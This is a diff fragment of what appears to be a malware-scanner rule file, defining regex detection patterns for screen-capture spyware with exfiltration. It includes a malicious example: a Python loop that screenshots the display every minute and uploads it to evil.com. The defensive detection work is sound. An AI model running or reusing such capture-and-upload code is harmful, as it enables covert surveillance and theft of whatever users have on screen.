+ severity: types_1.MalwareSeverity.HIGH,
685
+ confidence: types_1.ConfidenceLevel.MEDIUM,
686
+ baseScore: 70,
687
+ patterns: [
688
+ {
689
+ type: types_1.PatternType.REGEX,
690
+ patternId: 'js-screen-capture',
691
+ pattern: 'getDisplayMedia[\\s\\S]*?(?:fetch|XMLHttpRequest|WebSocket|sendBeacon)',
692
+ flags: 'gis',
693
+ weight: 0.8,
694
+ description: 'Screen capture with exfiltration'
695
+ },
696
+ {
697
+ type: types_1.PatternType.REGEX,
698
+ patternId: 'canvas-exfil',
699
+ pattern: 'canvas[\\s\\S]*?toDataURL[\\s\\S]*?(?:fetch|XMLHttpRequest|post)',
700
+ flags: 'gis',
701
+ weight: 0.7,
702
+ description: 'Canvas capture with exfiltration'
703
+ },
704
+ {
705
+ type: types_1.PatternType.REGEX,
706
+ patternId: 'python-screenshot',
707
+ pattern: '(?:PIL|pyautogui|mss)\\.(?:screenshot|grab)[\\s\\S]*?(?:send|post|upload)',
708
+ flags: 'gis',
709
+ weight: 0.9,
710
+ description: 'Python screenshot with upload'
711
+ },
712
+ {
713
+ type: types_1.PatternType.REGEX,
714
+ patternId: 'dotnet-screenshot',
715
+ pattern: 'Graphics\\.CopyFromScreen[\\s\\S]*?(?:Upload|WebClient|HttpClient)',
716
+ flags: 'gis',
717
+ weight: 0.9,
718
+ description: '.NET screenshot with upload'
719
+ }
720
+ ],
721
+ maliciousExamples: [
722
+ {
723
+ code: `import pyautogui
724
+ import requests
725
+ while True:
726
+ screenshot = pyautogui.screenshot()
727
+ screenshot.save('screen.png')
728
+ requests.post('http://evil.com/upload', files={'img': open('screen.png', 'rb')})
729
+ time.sleep(60)`,
730
+ language: types_1.SupportedLanguage.PYTHON,
731
+ isMalicious: true,
732
+ description: 'Periodic screenshot exfiltration'
733
+ }
734
+ ],
735
+ impact: {
736
+ technical: 'Captures and exfiltrates screen content.',
737
+ business: 'Visual data theft including sensitive displayed information.',
738
+ affectedAssets: ['Screen content', 'Displayed data'],
739
+ dataAtRisk: ['Visible documents', 'Financial data', 'Personal information']
740
+ },
741
+ remediation: {
742
+ summary: 'Remove screen capture malware and audit display permissions.',
743
+ steps: [
744
+ 'Remove the malicious code',
745
+ 'Review screen capture permissions',
746
+ 'Audit for persistence mechanisms'
747
+ ]
748
+ },
749
+ tags: ['screenshot', 'spyware', 'exfiltration', 'high'],
750
+ enabled: true
751
+ }
752
+ ];
753
+ // ============================================================================
754
+ // EXPORT ALL KEYLOGGER RULES
755
+ // ============================================================================
756
+ exports.keyloggerRules = [
757
+ ...exports.jsKeyloggerRules,
758
+ ...exports.systemKeyloggerRules,
759
+ ...exports.clipboardMonitorRules,
760
+ ...exports.screenCaptureRules
761
+ ];
762
+ exports.default = exports.keyloggerRules;
763
+ //# sourceMappingURL=keyloggers.js.map